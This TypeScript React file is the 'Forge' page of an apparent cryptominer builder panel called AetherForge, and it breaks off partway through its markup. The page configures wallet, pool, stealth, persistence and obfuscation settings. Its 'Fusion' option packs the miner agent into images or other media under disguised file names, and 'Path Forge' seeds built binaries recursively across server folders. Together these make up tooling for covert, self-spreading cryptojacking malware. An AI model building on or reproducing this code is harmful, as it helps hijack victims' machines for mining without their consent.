import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
import { Link, useNavigate, useSearchParams } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
import {
  forgeDefaultsFromServerSmart,
  applySmartForgeDefaults,
  RECOMMENDED_DEFAULTS_BLURB,
  suggestWorkerName,
  processNameForWorker,
} from '../help/forgeSmartDefaults';
import { getSetupStatus } from '../help/setupStatus';
import SetupBanner from '../components/SetupBanner';
import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview';
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
import {
  applyDeliverableType,
  deriveDeliverableType,
  deliverableSummary,
  installBaseOptionsForTarget,
  normalizeForgeForm,
  type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import { useForge } from '../context/ForgeContext';
import {
  fusionPayloadKind,
  fusionTitleFromFilename,
  fusionFileTypeLabel,
  disguisedWindowsRunnerName,
  disguisedDisplayName,
  defaultRunnerName,
  defaultEmbeddedName,
} from '../help/fusionMedia';
import './Pages.css';

export function formatBytes(n: number): string {
  if (n < 1024) return `${n} B`;
  const units = ['KB', 'MB', 'GB'];
  let v = n / 1024;
  for (const u of units) {
    if (v < 1024) return `${v.toFixed(2)} ${u}`;
    v /= 1024;
  }
  return `${v.toFixed(2)} TB`;
}

function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
  return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}

// Simulated stage timeline — (label, target% completed at this point, min ms from start)
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
  { label: 'Resolving dependencies...', pct: 8,  minMs: 0 },
  { label: 'Compiling agent source...',  pct: 28, minMs: 800 },
  { label: 'Cross-compiling targets...',  pct: 52, minMs: 2500 },
  { label: 'Applying obfuscation...',     pct: 68, minMs: 5000 },
  { label: 'Packaging deliverable...',    pct: 82, minMs: 8000 },
  { label: 'Signing & finalizing...',     pct: 93, minMs: 11000 },
  { label: 'Almost done...',              pct: 98, minMs: 15000 },
];

function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
  if (!building) return null;
  return (
    <div className="forge-progress-wrap" aria-live="polite">
      <div className="forge-progress-header">
        <span className="forge-progress-icon">⚙</span>
        <span className="forge-progress-stage">{stage || 'Initializing...'}</span>
        <span className="forge-progress-pct">{Math.round(progress)}%</span>
      </div>
      <div className="forge-progress-track">
        <div
          className="forge-progress-fill"
          style={{ width: `${progress}%` }}
        />
        <div className="forge-progress-glow" style={{ left: `${progress}%` }} />
      </div>
    </div>
  );
}

const FORGE_MODE_KEY = 'aetherforge-forge-mode';

function loadSimpleMode(): boolean {
  try {
    const v = localStorage.getItem(FORGE_MODE_KEY);
    if (v === 'advanced') return false;
  } catch {
    /* ignore */
  }
  return true;
}

export default function BuilderPage() {
  const navigate = useNavigate();
  const [searchParams, setSearchParams] = useSearchParams();
  const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
  const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);

  const [form, setForm] = useState<BuildRequest | null>(null);
  const [building, setBuilding] = useState(false);
  const [error, setError] = useState('');
  const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
  const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
  const [loadingDefaults, setLoadingDefaults] = useState(true);
  const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
  const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
  const [batchJob, setBatchJob] = useState<{
    total: number;
    current: number;
    fileName: string;
    phase: string;
    percent: number;
    log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
  } | null>(null);
  const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
  const [estimateLoading, setEstimateLoading] = useState(false);

  // ── PATH FORGE (server-side recursive seeding) ─────────────────────────────
  const [pfPath, setPfPath] = useState('');
  const [pfStemMode, setPfStemMode] = useState<'original' | 'custom'>('original');
  const [pfStem, setPfStem] = useState('');
  const [pfWindows, setPfWindows] = useState(true);
  const [pfMac, setPfMac] = useState(true);
  const [pfBusy, setPfBusy] = useState(false);
  const [pfResult, setPfResult] = useState<{
    placed: number; total: number; errors: number;
    results: { source: string; files: string[] }[];
    error_list?: string[];
  } | null>(null);
  // Set to true to request cancellation between batch iterations
  const batchCancelRef = useRef(false);
  // Tracks the cancel_token of the currently-running forge so we can kill it server-side
  const cancelTokenRef = useRef<string>('');
  const [estimateError, setEstimateError] = useState('');
  const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
  const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
  const [listenPort, setListenPort] = useState(8989);
  const [showBlueprintOffer, setShowBlueprintOffer] = useState(false);
  const forgedThisSessionRef = useRef(false);
  const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
  const [simpleMode, setSimpleMode] = useState(loadSimpleMode);

  // Drive simulated stage progress while a single build is running
  useEffect(() => {
    if (!building || batchJob) {
      endForge();
      if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
      return;
    }
    const startMs = Date.now();
    startForge();

    let stageIdx = 0;
    const advance = () => {
      const elapsed = Date.now() - startMs;
      // Find the furthest stage whose minMs has been reached
      let next = 0;
      for (let i = 0; i < FORGE_STAGES.length; i++) {
        if (elapsed >= FORGE_STAGES[i].minMs) next = i;
        else break;
      }
      const s = FORGE_STAGES[next];
      // Smoothly interpolate within this stage toward the next stage's target %
      const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
      const nextMs  = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
      const stageElapsed = elapsed - s.minMs;
      const stageDur = nextMs - s.minMs;
      const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
      const pct = s.pct + (nextPct - s.pct) * frac;
      if (next !== stageIdx) stageIdx = next;
      setStage(s.label, Math.min(98, pct));
      forgeStageTimerRef.current = setTimeout(advance, 250);
    };
    advance();

    return () => {
      if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
    };
  // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [building, batchJob]);

  const setForgeMode = (simple: boolean) => {
    setSimpleMode(simple);
    try {
      localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
    } catch {
      /* ignore */
    }
  };

  const refreshEndpointInfo = async () => {
    setRefreshingEndpoints(true);
    try {
      const [config, info] = await Promise.all([api.getConfig(), api.getServerInfo()]);
      setServerInfo(info);
      setListenPort(config.port || info.port || 8989);
      return info;
    } finally {
      setRefreshingEndpoints(false);
    }
  };

  // Blueprint state
  const [blueprints, setBlueprints] = useState<BlueprintInfo[]>([]);
  const [showBlueprints, setShowBlueprints] = useState(false);
  const [blueprintName, setBlueprintName] = useState('');
  const [blueprintMsg, setBlueprintMsg] = useState('');
  const [loadingBlueprints, setLoadingBlueprints] = useState(false);
  const [compareBlueprint, setCompareBlueprint] = useState<Record<string, unknown> | null>(null);
  const fileInputRef = useRef<HTMLInputElement>(null);

  useEffect(() => {
    Promise.all([
      api.getConfig(),
      api.getServerInfo().catch(() => null),
      api.listBuilds().catch(() => []),
    ])
      .then(([config, info, builds]) => {
        setCalibrateConfig(config);
        if (info) {
          setServerInfo(info);
          setListenPort(config.port || info.port || 8989);
        } else {
          setListenPort(config.port || 8989);
        }
        const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
        const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
        setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
      })
      .catch((err) => {
        console.error(err);
        setError('Failed to load server config — is the control server running?');
      })
      .finally(() => setLoadingDefaults(false));
  }, []);

  const loadRecentBuilds = async () => {
    try {
      const builds = await api.listBuilds();
      setRecentBuilds(builds);
    } catch (err) {
      console.error(err);
    }
  };

  // Handle ?reforge=<buildId> links from Build Manager page
  useEffect(() => {
    const reforgeId = searchParams.get('reforge');
    if (!reforgeId || recentBuilds.length === 0) return;
    const match = recentBuilds.find((b) => b.id === reforgeId);
    if (match) {
      reForgeFromBuild(match);
      setSearchParams({}, { replace: true });
    }
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [searchParams, recentBuilds]);

  const finishForgeSuccess = async (result: BuildResponse) => {
    setStage('Build complete!', 100);
    setLastBuild(result);
    loadRecentBuilds();
    if (!forgedThisSessionRef.current) {
      forgedThisSessionRef.current = true;
      setShowBlueprintOffer(true);
    }
  };

  const handleForgeNextWorker = () => {
    if (!form) return;
    const name = suggestWorkerName([
      ...recentBuilds,
      { worker_name: form.worker_name } as BuildRecord,
    ]);
    setForm({
      ...form,
      worker_name: name,
      process_name: processNameForWorker(name),
    });
    setLastBuild(null);
    setError('');
  };

  const handleSaveFleetBlueprint = async () => {
    if (!form) return;
    const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default');
    if (!name || !name.trim()) return;
    setBlueprintMsg('');
    try {
      const result = await api.saveBlueprint(name.trim(), form);
      setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
      setShowBlueprintOffer(false);
      setTimeout(() => setBlueprintMsg(''), 4000);
    } catch (err: unknown) {
      setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`);
    }
  };

  // Blueprint: save current form as a named blueprint
  const handleSaveBlueprint = async () => {
    if (!form) return;
    const name = prompt('Enter a name for this blueprint:', form.worker_name || 'my-miner-config');
    if (!name || !name.trim()) return;
    setBlueprintMsg('');
    try {
      const result = await api.saveBlueprint(name.trim(), form);
      setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
      setTimeout(() => setBlueprintMsg(''), 3000);
    } catch (err: any) {
      setBlueprintMsg(`❌ Failed to save: ${err.message}`);
    }
  };

  // Blueprint: load blueprints list and show picker
  const handleLoadBlueprint = async () => {
    try {
      setLoadingBlueprints(true);
      const list = await api.listBlueprints();
      setBlueprints(list);
      setShowBlueprints(true);
    } catch (err: any) {
      setBlueprintMsg(`❌ Failed to load blueprints: ${err.message}`);
    } finally {
      setLoadingBlueprints(false);
    }
  };

  // Blueprint: apply a selected blueprint to the form
  const handleApplyBlueprint = async (name: string) => {
    try {
      const data = await api.getBlueprint(name);
      setCompareBlueprint(data as Record<string, unknown>);
      setBlueprintName(name);
      // Merge loaded data into form, preserving any fields not in the blueprint
      setForm((prev) => (prev ? { ...prev, ...data } : prev));
      setShowBlueprints(false);
      setBlueprintMsg(`✅ Blueprint "${name}" loaded`);
      setTimeout(() => setBlueprintMsg(''), 3000);
    } catch (err: any) {
      setBlueprintMsg(`❌ Failed to load blueprint: ${err.message}`);
    }
  };

  const reForgeFromBuild = async (build: BuildRecord) => {
    if (!form) return;
    const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
    setForm(merged);
    setError('');
    setLastBuild(null);

    // Fusion re-forge requires the payload file — prep files are not kept on the
    // server after a build completes (M15). Prompt the user to re-upload first.
    if (merged.fusion_enabled && !fusionPrepFile) {
      setError(
        'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
      );
      return;
    }

    const checks = runForgePreflight(merged, !!fusionPrepFile);
    if (preflightHasErrors(checks)) {
      setError('Re-forge preflight failed — adjust settings and forge manually.');
      return;
    }
    const reforgeToken = crypto.randomUUID();
    cancelTokenRef.current = reforgeToken;
    setBuilding(true);
    try {
      const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile);
      if (!result.success) throw new Error(result.error || 'Build failed');
      await finishForgeSuccess(result);
      setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
    } catch (err: any) {
      setError(err.message || 'Re-forge failed');
    } finally {
      setBuilding(false);
    }
  };


  // Blueprint: delete a blueprint
  const handleDeleteBlueprint = async (name: string) => {
    if (!confirm(`Delete blueprint "${name}"?`)) return;
    try {
      await api.deleteBlueprint(name);
      setBlueprints((prev) => prev.filter((b) => b.name !== name));
    } catch (err: any) {
      setBlueprintMsg(`❌ Failed to delete: ${err.message}`);
    }
  };

  // Blueprint: import from a local .json file
  const handleImportBlueprintFile = () => {
    fileInputRef.current?.click();
  };

  const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
    const file = e.target.files?.[0];
    if (!file) return;
    const reader = new FileReader();
    reader.onload = (evt) => {
      try {
        const data = JSON.parse(evt.target?.result as string) as Record<string, unknown>;
        setCompareBlueprint(data);
        setBlueprintName(file.name);
        setForm((prev) => (prev ? { ...prev, ...data } : prev));
        setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`);
        setTimeout(() => setBlueprintMsg(''), 3000);
      } catch {
        setBlueprintMsg('❌ Invalid JSON file');
      }
    };
    reader.readAsText(file);
    // Reset input so same file can be re-selected
    e.target.value = '';
  };

  // Blueprint: export current form as a downloadable .json file
  const handleExportBlueprintFile = () => {
    if (!form) return;
    const blob = new Blob([JSON.stringify(form, null, 2)], { type: 'application/json' });
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = `${form.worker_name || 'miner-config'}-blueprint.json`;
    a.click();
    URL.revokeObjectURL(url);
  };

  const applyFusionFileSelection = (f: File | null) => {
    setFusionPrepFile(f);
    if (!f) return;
    const isImage = /\.(png|jpe?g|gif|webp|bmp|ico|tiff?)$/i.test(f.name);
    // Images in embedded mode often blow up compile size; paired ZIP is reliable for any size.
    const preferPaired = isImage || f.size > 500 * 1024 * 1024;
    setForm((prev) => {
      if (!prev) return prev;
      return normalizeForgeForm({
        ...prev,
        fusion_payload_kind: fusionPayloadKind(f),
        fusion_media_base_name: f.name,
        fusion_output_name: defaultRunnerName(f.name),
        ...(preferPaired && prev.fusion_media_mode === 'embedded'
          ? { fusion_media_mode: 'paired' as const }
          : {}),
        ...(!prev.fusion_enabled
          ? { fusion_enabled: true, spread_kit: false, target_os: 'universal', target_arch: 'all' }
          : {}),
      });
    });
  };

  // Kill the current server-side compile via the cancel API, then stop the batch loop.
  const handleKillBuild = useCallback(async () => {
    const tok = cancelTokenRef.current;
    if (tok) {
      try { await api.cancelBuild(tok); } catch { /* ignore */ }
    }
    batchCancelRef.current = true;
    setBuilding(false);
  }, []);

  const handlePathForge = async () => {
    if (!pfPath.trim()) { alert('Enter a folder path first.'); return; }
    if (!pfWindows && !pfMac) { alert('Select at least one target platform.'); return; }
    setPfBusy(true);
    setPfResult(null);
    try {
      const { authHeaders } = await import('../api/auth');
      const res = await fetch('/api/v1/builder/path-forge', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json', ...authHeaders() },
        body: JSON.stringify({
          root_path: pfPath.trim(),
          stem_mode: pfStemMode,
          output_stem: pfStem.trim(),
          target_windows: pfWindows,
          target_mac: pfMac,
          server_url: form?.server_url ?? '',
        }),
      });
      const data = await res.json();
      setPfResult(data);
    } catch (err) {
      setPfResult({ placed: 0, total: 0, errors: 1, results: [], error_list: [String(err)] });
    } finally {
      setPfBusy(false);
    }
  };

  const handleBatchCancel = () => {
    batchCancelRef.current = true;
    // Also kill the currently-running server compile
    const tok = cancelTokenRef.current;
    if (tok) {
      api.cancelBuild(tok).catch(() => {});
    }
  };

  const handleBatchForge = async () => {
    if (!form || fusionBatchFiles.length === 0) return;
    setError('');
    setLastBuild(null);
    batchCancelRef.current = false;
    setBuilding(true);
    const total = fusionBatchFiles.length;
    const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
    setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
    let ok = 0;
    try {
      for (let i = 0; i < total; i++) {
        if (batchCancelRef.current) {
          setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j));
          setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`);
          setTimeout(() => setBlueprintMsg(''), 5000);
          break;
        }
        const file = fusionBatchFiles[i];
        const title = fusionTitleFromFilename(file.name);
        const pct = Math.round((i / total) * 100);
        setBatchJob((j) =>
          j
            ? {
                ...j,
                current: i + 1,
                fileName: file.name,
                phase: 'building',
                percent: pct,
                log: j.log.map((row, idx) =>
                  idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row
                ),
              }
            : j
        );
        const req = normalizeForgeForm({
          ...form,
          target_os: 'universal',
          fusion_enabled: true,
          spread_kit: false,
          fusion_payload_kind: fusionPayloadKind(file),
          fusion_media_base_name: file.name,
          fusion_export_subdir: title,
          fusion_output_name: defaultRunnerName(file.name),
          worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
        });
        const checks = runForgePreflight(req, true);
        if (preflightHasErrors(checks)) {
          throw new Error(`Preflight failed for ${file.name}`);
        }
        const batchToken = crypto.randomUUID();
        cancelTokenRef.current = batchToken;
        const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
        cancelTokenRef.current = '';
        if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
        setBatchJob((j) =>
          j
            ? {
                ...j,
                phase: 'downloading',
                log: j.log.map((row, idx) =>
                  idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row
                ),
              }
            : j
        );
        await finishForgeSuccess(result);
        ok++;
        setBatchJob((j) =>
          j
            ? {
                ...j,
                log: j.log.map((row, idx) =>
                  idx === i
                    ? {
                        ...row,
                        status: 'ok',
                        detail: result.fusion_export_dir
                          ? `Saved → ${result.fusion_export_dir}`
                          : 'ZIP downloaded',
                      }
                    : row
                ),
              }
            : j
        );
      }
      setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
      setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
      setTimeout(() => setBlueprintMsg(''), 6000);
      setFusionBatchFiles([]);
    } catch (err: unknown) {
      const msg = err instanceof Error ? err.message : 'Batch forge failed';
      setError(msg);
      setBatchJob((j) =>
        j
          ? {
              ...j,
              phase: 'error',
              log: j.log.map((row) =>
                row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row
              ),
            }
          : j
      );
    } finally {
      setBuilding(false);
      setTimeout(() => setBatchJob(null), 8000);
    }
  };

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault();
    if (!form) return;
    setError('');
    setLastBuild(null);

    const normalized = normalizeForgeForm(form);
    if (normalized !== form) {
      setForm(normalized);
    }

    const checks = runForgePreflight(normalized, !!fusionPrepFile);
    if (preflightHasErrors(checks)) {
      setError('Preflight failed — fix errors in the checklist below before forging.');
      return;
    }

    const cancelToken = crypto.randomUUID();
    cancelTokenRef.current = cancelToken;
    setBuilding(true);
    try {
      const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile);
      if (!result.success) {
        throw new Error(result.error || 'Build failed');
      }
      await finishForgeSuccess(result);
    } catch (err: any) {
      if (err.message !== 'build cancelled') {
        setError(err.message || 'Build failed');
      }
    } finally {
      cancelTokenRef.current = '';
      setBuilding(false);
    }
  };

  const applyRecommendedDefaults = async () => {
    if (!form) return;
    try {
      const [config, info, builds] = await Promise.all([
        api.getConfig(),
        api.getServerInfo(),
        api.listBuilds().catch(() => [] as BuildRecord[]),
      ]);
      const candidates = lanEndpointCandidates(info, config.port || info.port);
      const base = defaultsFromConfig(config, info, builds);
      const kind = form ? deriveDeliverableType(form) : 'single';
      // Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
      const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
      setForm(applyDeliverableType(merged, kind));
      setBlueprintMsg('✅ Recommended defaults applied');
      setTimeout(() => setBlueprintMsg(''), 2500);
    } catch (err: unknown) {
      setError(err instanceof Error ? err.message : 'Could not refresh defaults');
    }
  };

  const updateField = (field: keyof BuildRequest, value: unknown) => {
    setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
  };

  const setDeliverableType = (type: ForgeDeliverable) => {
    setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev));
    if (type !== 'fusion') {
      setFusionPrepFile(null);
      setFusionBatchFiles([]);
      setFusionEstimate(null);
    }
  };

  const deliverableType = form ? deriveDeliverableType(form) : 'single';
  const installBaseOptions = installBaseOptionsForTarget(form?.target_os);

  const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
  const liveNotices = useMemo(
    () => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
    [form, fusionPrepFile]
  );
  const preflightChecks = useMemo(
    () => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
    [form, fusionPrepFile]
  );
  const canForge = form ? !preflightHasErrors(preflightChecks) : false;
  const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
  const blueprintChanges = useMemo(() => {
    if (!compareBlueprint || !form) return [];
    return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
  }, [compareBlueprint, form]);
  const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe';
  const fusionMediaMode = form?.fusion_media_mode || 'paired';

  useEffect(() => {
    if (!form?.fusion_enabled || !fusionPrepFile) {
      setFusionEstimate(null);
      setEstimateError('');
      return;
    }
    let cancelled = false;
    const timer = window.setTimeout(() => {
      setEstimateLoading(true);
      setEstimateError('');
      api.estimateFusion(form, fusionPrepFile)
        .then((est) => {
          if (!cancelled) setFusionEstimate(est);
        })
        .catch((err: Error) => {
          if (!cancelled) {
            setFusionEstimate(null);
            setEstimateError(err.message || 'Estimate failed');
          }
        })
        .finally(() => {
          if (!cancelled) setEstimateLoading(false);
        });
    }, 350);
    return () => {
      cancelled = true;
      window.clearTimeout(timer);
    };
  }, [
    form?.fusion_enabled,
    form?.fusion_output_name,
    form?.output_dir,
    form?.obfuscate,
    form?.sign_build,
    form?.worker_name,
    fusionPrepFile,
  ]);

  // Cancel any in-progress server-side build when the component unmounts
  // (e.g. user navigates away mid-forge). This closes the M14 UI desync where
  // the server kept compiling after the Forge page was left.
  useEffect(() => {
    return () => {
      const tok = cancelTokenRef.current;
      if (tok) {
        api.cancelBuild(tok).catch(() => {});
        cancelTokenRef.current = '';
      }
      batchCancelRef.current = true;
    };
  }, []);

  if (loadingDefaults) {
    return (
      <div className="page fade-in command-deck">
        <header className="deck-hero">
          <div className="deck-hero-text">
            <p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
            <h1>The Forge</h1>
          </div>
        </header>
        <NeonCard accent="brass"><p>Loading forge defaults from server...</p></NeonCard>
      </div>
    );
  }

  if (!form) {
    return (
      <div className="page fade-in command-deck">
        <header className="deck-hero">
          <div className="deck-hero-text">
            <p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
            <h1>The Forge</h1>
          </div>
        </header>
        <NeonCard accent="brass">
          <p>{error || 'Failed to load forge defaults from server.'}</p>
        </NeonCard>
      </div>
    );
  }

  const installPreview = previewInstallPath({
    install_base: form.install_base,
    install_custom_base: form.install_custom_base,
    install_relative_path: form.install_relative_path,
    worker_name: form.worker_name,
    process_name: form.process_name,
    target_os: form.target_os,
  });

  const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
  const setupStatus = getSetupStatus(calibrateConfig);

  return (
    <div className="page fade-in command-deck">
      <SetupBanner status={setupStatus} />
      {/* Hidden file input for importing blueprint .json files */}
      <input
        type="file"
        ref={fileInputRef}
        style={{ display: 'none' }}
        accept=".json,application/json"
        onChange={handleFileSelected}
      />

      <header className="deck-hero">
        <div className="deck-hero-text">
          <p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
          <h1>The Forge</h1>
          <p className="page-subtitle">
            {simpleMode
              ? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
              : 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
          </p>
        </div>
        <div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
          <div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
            <button
              type="button"
              className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
              onClick={() => setForgeMode(true)}
              title={FIELD_HELP.forge_simple_mode}
            >
              Simple
            </button>
            <button
              type="button"
              className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
              onClick={() => setForgeMode(false)}
            >
              Advanced
            </button>
          </div>
          <button className="btn btn-outline" onClick={loadRecentBuilds}>
            Recent Builds
          </button>
          <button className="btn btn-outline" onClick={handleSaveBlueprint} title="Save current form as a named blueprint on the server">
            💾 Save Blueprint
          </button>
          <button className="btn btn-outline" onClick={handleLoadBlueprint} title="Load a saved blueprint from the server">
            📂 Load Blueprint
          </button>
          <button className="btn btn-outline" onClick={handleExportBlueprintFile} title="Download current form as a .json file">
            ⬇️ Export .json
          </button>
          <button className="btn btn-outline" onClick={handleImportBlueprintFile} title="Import a .json blueprint file from your computer">
            📥 Import .json
          </button>
        </div>
      </header>

      {/* Blueprint status message */}
      {blueprintMsg && (
        <div className={`save-message ${blueprintMsg.includes('✅') ? 'success' : 'error'}`} style={{ marginBottom: '12px' }}>
          {blueprintMsg}
        </div>
      )}

      {compareBlueprint && blueprintChanges.length > 0 && (
        <div className="card" style={{ marginBottom: '16px' }}>
          <div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '8px' }}>
            <h3 style={{ margin: 0, fontSize: '1rem' }}>
              Blueprint diff — {blueprintName || 'loaded blueprint'}
            </h3>
            <button
              type="button"
              className="btn btn-outline btn-sm"
              onClick={() => {
                setCompareBlueprint(null);
                setBlueprintName('');
              }}
            >
              Dismiss
            </button>
          </div>
          <p className="form-hint" style={{ marginTop: 0 }}>
            Fields that differ from the loaded blueprint (your previous form values were kept where they conflict).
          </p>
          <ul className="blueprint-diff-list" style={{ margin: 0, paddingLeft: '1.25rem', fontSize: '0.85rem' }}>
            {blueprintChanges.map((row) => (
              <li key={row.key}>
                <code>{row.key}</code>
                {' — '}
                {row.kind === 'added' && <span>kept from form</span>}
                {row.kind === 'removed' && <span>not in current form</span>}
                {row.kind === 'changed' && (
                  <span>
                    blueprint → current
                  </span>
                )}
              </li>
            ))}
          </ul>
        </div>
      )}

      {/* Blueprint picker panel */}
      {showBlueprints && (
        <div className="card" style={{ marginBottom: '16px' }}>
          <div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '12px' }}>
            <h3 style={{ margin: 0 }}>Saved Blueprints</h3>
            <button className="btn btn-outline" onClick={() => setShowBlueprints(false)}>Close</button>
          </div>
          {loadingBlueprints ? (
            <p>Loading blueprints...</p>
          ) : blueprints.length === 0 ? (
            <p className="empty-text">No saved blueprints yet. Configure the form and click "Save Blueprint".</p>
          ) : (
            <div className="builds-list">
              {blueprints.map((bp) => (
                <div key={bp.name} className="build-item">
                  <div className="build-item-name">{bp.name}</div>
                  <div className="build-item-details">
                    <span>{(bp.size / 1024).toFixed(1)} KB</span>
                    <span>{new Date(bp.created_at).toLocaleString()}</span>
                  </div>
                  <div style={{ display: 'flex', gap: '8px' }}>
                    <button className="btn btn-primary" onClick={() => handleApplyBlueprint(bp.name)}>
                      Load
                    </button>
                    <button className="btn btn-outline" onClick={() => handleDeleteBlueprint(bp.name)}>
                      Delete
                    </button>
                  </div>
                </div>
              ))}
            </div>
          )}
        </div>
      )}

      <div className="builder-layout builder-layout-wide">
        <div className="card cheat-sheet-panel">
          <h2>Quick links</h2>
          <p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
          <Link to="/guide" className="btn btn-primary" style={{ marginBottom: '1rem', display: 'inline-block' }}>
            Open Field Guide
          </Link>
          <div className="cheat-sheet">
            {SETUP_CHEATSHEET.map((item) => (
              <div key={item.title} className="cheat-sheet-item">
                <h4>{item.title}</h4>
                <p>{item.body}</p>
              </div>
            ))}
          </div>
        </div>

        <div className="card builder-form">
          {simpleMode ? (
            <div className="forge-simple-banner card">
              <p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
              <p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
              <button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
                Reset to recommended defaults
              </button>
            </div>
          ) : (
            <div className="forge-rules-banner">
              <h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
              <p className="form-hint" style={{ margin: 0 }}>
                Everything on this page is configurable, but incompatible mixes are blocked at forge time.
                Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
              </p>
              <div className="forge-rules-grid">
                <div className="forge-rule-card">
                  <strong>⛏ Baked into installer</strong>
                  Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
                </div>
                <div className="forge-rule-card">
